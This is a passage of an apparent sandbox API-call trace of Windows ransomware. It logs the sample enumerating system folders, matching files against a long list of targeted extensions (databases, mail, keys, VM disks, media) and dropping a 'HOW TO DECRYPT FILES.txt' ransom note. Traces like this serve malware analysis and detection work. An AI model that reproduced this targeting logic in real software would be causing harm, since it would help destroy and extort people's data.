(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.gz") returned 0 [0099.480] lstrlenA (lpString="*.gz") returned 4 [0099.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mkv") returned 0 [0099.480] lstrlenA (lpString="*.mkv") returned 5 [0099.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.eml") returned 0 [0099.480] lstrlenA (lpString="*.eml") returned 5 [0099.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.msg") returned 0 [0099.480] lstrlenA (lpString="*.msg") returned 5 [0099.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.edb") returned 0 [0099.480] lstrlenA (lpString="*.edb") returned 5 [0099.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.accdb") returned 0 [0099.480] lstrlenA (lpString="*.accdb") returned 7 [0099.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.odb") returned 0 [0099.480] lstrlenA (lpString="*.odb") returned 5 [0099.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.java") returned 0 [0099.480] lstrlenA (lpString="*.java") returned 6 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.asm") returned 0 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.pfx") returned 0 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.pem") returned 0 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.p12") returned 0 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.gpg") returned 0 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.vsd") returned 0 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.odg") returned 0 [0099.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.raw") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.nef") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.svg") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.psd") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.vmx") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.vmdk") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.vdi") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.lay6") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mpeg") returned 0 [0099.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.djvu") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.tiff") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.backup") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.pdf") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.cert") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.docm") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.xlsm") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.dwg") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.nd") returned 0 [0099.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.tlg") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.lgb") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mov") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.xdw") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.ods") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.wav") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mp3") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.aiff") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.flac") returned 0 [0099.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.m4a") returned 0 [0099.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.csv") returned 0 [0099.485] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a8e790, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58a8e790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58a8e790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.485] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.485] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a8e790, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58a8e790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58a8e790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0099.485] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.485] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf511d3a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf511d3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf511d3a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x302e3976, dwReserved1=0x6c6c642e, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0", cAlternateFileName="MIFECD~1.0")) returned 1 [0099.485] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0") returned -1 [0099.485] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0") returned -1 [0099.485] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.485] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0" [0099.486] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf511d3a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf511d3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf511d3a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.486] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.486] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf511d3a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf511d3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf511d3a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.486] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.486] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.486] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3c81920, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3c81920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3c81920, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0099.486] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.486] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.487] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\*.*") returned="*.*" [0099.487] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\", lpString2="10.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a" [0099.487] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3c81920, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3c81920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3c81920, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.487] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.487] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3c81920, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3c81920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3c81920, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.487] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.487] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.488] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c81920, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3c81920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3c81920, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.488] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.488] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned -1 [0099.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned -1 [0099.488] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned -1 [0099.488] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" [0099.488] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.488] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.488] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.word.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.488] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.word.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.493] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.494] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.495] CloseHandle (hObject=0x90) returned 1 [0099.495] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll" [0099.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.ems") returned 0 [0099.495] lstrlenA (lpString="*.ems") returned 5 [0099.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.db") returned 0 [0099.495] lstrlenA (lpString="*.db") returned 4 [0099.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.dbf") returned 0 [0099.495] lstrlenA (lpString="*.dbf") returned 5 [0099.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.myox") returned 0 [0099.495] lstrlenA (lpString="*.myox") returned 6 [0099.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", pszSpec="*.myo") returned 0 [0099.495] lstrlenA (lpString="*.myo") returned 5 [0099.495] PathMatchSpecA 